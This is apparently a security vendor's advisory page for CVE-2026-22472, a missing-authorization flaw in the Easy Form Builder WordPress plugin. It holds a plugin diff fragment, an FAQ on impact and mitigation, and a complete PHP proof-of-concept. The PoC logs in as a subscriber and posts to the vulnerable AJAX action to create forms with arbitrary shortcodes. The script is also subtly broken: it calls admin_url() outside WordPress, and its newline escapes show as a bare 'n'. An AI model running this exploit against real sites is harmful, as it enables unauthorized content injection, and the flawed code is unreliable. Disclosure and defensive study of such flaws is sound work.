-        $this->db->update($table_name, ['read_' => 1], ['msg_id' => $id, 'read_' => 0]);
-        foreach ($value as $key => $val) {
-            $r = (int)$val->rsp_by;
-            if ($r > 0) {
-                $usr         = get_user_by('id', $r);
-                $val->rsp_by = $usr->display_name;
-            }else if ($r==-1){
-                $val->rsp_by= $lang["spprt"];
-            }
-            else {
-                $m =   $lang["guest"];
-                $val->rsp_by =$m;
-            }
-        }
-
-        $response = ['success' => true, 'ajax_value' => $value, 'id' => $id];
-        wp_send_json_success($response, 200);
-    }
-
-    public function set_replyMessage_id_Emsfb() {
-         $this->get_efbFunction(0);
-        $ac= $this->efbFunction->get_setting_Emsfb();
-        $text = ["error405","error403","somethingWentWrongPleaseRefresh","nAllowedUseHtml","messageSent"];
-        $lang= $this->efbFunction->text_efb($text);
-        $currrent_user_can = $this->efbFunction->user_permission_efb_admin_dashboard();
-
-        if (!check_ajax_referer('wp_rest', 'nonce', false) || !$currrent_user_can) {
-            $response = ['success' => false, 'm' => $lang["error403"]];
-            wp_send_json_success($response, 200);
-            die("secure!");
-        }
-
-        $post_message = isset($_POST['message']) ? sanitize_text_field( wp_unslash( $_POST['message'] ) ) : '';
-        $id = isset($_POST['id']) ? (int) sanitize_text_field( wp_unslash($_POST['id'])) : 0;
-        if (empty($post_message) || empty($id)) {
-            $response = ['success' => false, "m" => $lang

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-22472 - Easy Form Builder <= 3.9.6 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-22472
 * Missing Authorization in Easy Form Builder WordPress Plugin
 *
 * This script demonstrates how an authenticated attacker with subscriber-level
 * access can create unauthorized forms via the vulnerable AJAX endpoint.
 */

// Configuration
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber';  // Attacker's username
$password = 'password';     // Attacker's password

// Form data to create
$form_data = [
    'name' => 'Malicious Form',
    'value' => '[EMS_Form_Builder id=1]',  // Can contain arbitrary shortcodes
    'email' => 'attacker@example.com',
    'type' => 'contact',
    'action' => 'fun_Emsfb_creator'  // Vulnerable AJAX action
];

// Initialize cURL session for WordPress login
$ch = curl_init();

// Step 1: Get login page to retrieve nonce and cookies
curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);

// Step 2: Extract nonce from login form (simplified - real implementation would parse HTML)
// Note: WordPress login doesn't use nonces in the same way as admin AJAX

// Step 3: Perform login
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => admin_url(),
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Check if login was successful
if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-ajax') === false) {
    echo "[-] Login failed. Check credentials.n";
    exit;
}

echo "[+] Successfully logged in as $usernamen";

// Step 4: Exploit the vulnerability by creating unauthorized form
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($form_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Parse JSON response
$result = json_decode($response, true);

if ($http_code == 200 && isset($result['success']) && $result['success']) {
    echo "[+] SUCCESS: Form created with ID: " . $result['id'] . "n";
    echo "[+] Shortcode: " . $result['value'] . "n";
    echo "[+] Vulnerability confirmed - unauthorized form creation possiblen";
} else {
    echo "[-] FAILED: Form creation failedn";
    echo "[-] Response: " . $response . "n";
    if (isset($result['m'])) {
        echo "[-] Error message: " . $result['m'] . "n";
    }
}

// Cleanup
curl_close($ch);
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}

?>

Frequently Asked Questions

What is CVE-2026-22472?
Overview of the vulnerability
CVE-2026-22472 is a medium severity vulnerability in the Easy Form Builder plugin for WordPress. It arises from a missing authorization check in the `add_form_structure()` method, allowing authenticated users with subscriber-level access to create unauthorized forms.
Who is affected by this vulnerability?
Identifying vulnerable installations
The vulnerability affects all installations of the Easy Form Builder plugin up to and including version 3.9.6. WordPress sites using this plugin should verify their version and check if they are running an affected version.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, log in to your WordPress admin panel and navigate to the Plugins section. Look for the Easy Form Builder plugin and check its version. If it is 3.9.6 or earlier, your site is vulnerable.
How can I fix this vulnerability?
Mitigation steps
To fix this vulnerability, update the Easy Form Builder plugin to version 4.0.0 or later, which includes the necessary capability checks to prevent unauthorized form creation. Regularly updating plugins is essential for maintaining site security.
What is the CVSS score and what does it mean?
Understanding severity levels
The CVSS score for CVE-2026-22472 is 4.3, indicating a medium severity issue. This means that while the vulnerability does not allow for critical exploits like remote code execution, it still poses a significant risk as it allows unauthorized actions by authenticated users.
What are the practical risks of this vulnerability?
Potential impact on WordPress sites
The practical risks include the ability for authenticated attackers to create arbitrary forms, which can lead to unauthorized content injection. Attackers could embed malicious scripts or shortcodes, compromising site integrity and user trust.
What does the proof of concept demonstrate?
Example of exploitation
The proof of concept illustrates how an authenticated user can exploit the vulnerability by sending a crafted POST request to the vulnerable AJAX endpoint. It shows how an attacker can create a new form with arbitrary content, highlighting the ease of exploitation.
What is the root cause of this vulnerability?
Technical explanation
The root cause of CVE-2026-22472 is the lack of capability checks in the `add_form_structure()` method of the Easy Form Builder plugin. This method processes AJAX requests without verifying if the user has the necessary permissions, allowing unauthorized actions.
What should I do if I cannot update the plugin immediately?
Temporary measures
If you cannot update the plugin immediately, consider disabling the Easy Form Builder plugin to prevent potential exploitation. Additionally, review user roles and permissions to limit access to authenticated users.
How does this vulnerability relate to the principle of least privilege?
Security best practices
This vulnerability violates the principle of least privilege by allowing users with minimal permissions to perform actions they should not be able to. Ensuring proper authorization checks is crucial to maintaining security and limiting user capabilities.
Are there any additional security measures I should take?
Enhancing overall security
In addition to updating the plugin, consider implementing security plugins that monitor user actions and restrict access based on roles. Regularly auditing user permissions and keeping all plugins updated are also recommended practices.
What are the implications for site integrity?
Long-term effects of exploitation
Exploitation of this vulnerability can lead to unauthorized content being injected into forms, which may affect user data and site functionality. Over time, this can damage the reputation of the site and erode user trust.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations